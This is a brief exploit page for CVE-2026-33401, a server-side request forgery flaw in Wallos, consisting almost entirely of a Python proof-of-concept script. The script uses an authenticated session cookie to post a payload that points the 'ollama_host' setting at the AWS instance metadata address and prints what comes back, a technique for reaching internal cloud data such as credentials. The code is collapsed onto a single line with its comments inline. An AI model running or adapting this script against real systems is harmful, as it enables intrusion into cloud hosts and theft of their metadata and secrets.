CVE-2026-33401 Wallos服务端请求伪造漏洞

import requests # Target URL for Wallos instance target = "http://<WALLOS_HOST>" # Authenticated session cookie (Required as PR:L) cookies = {'PHPSESSID': 'valid_session_id'} # SSRF Payload targeting AWS IMDSv1 # Can be injected into AI Ollama host parameter or AI recommendations endpoint ssrf_payload = "http://169.254.169.254/latest/meta-data/ami-id" # Example payload structure for the vulnerable AI endpoint # Note: Exact parameter names may vary based on the specific endpoint implementation payload_data = { "ollama_host": ssrf_payload # Vulnerable parameter mentioned in advisory } # Sending the request to the vulnerable endpoint response = requests.post(f"{target}/api/settings/ai", json=payload_data, cookies=cookies) if response.status_code == 200: print("[+] Potential SSRF triggered.") print(f"[+] Response: {response.text}") else: print("[-] Exploit attempt failed.")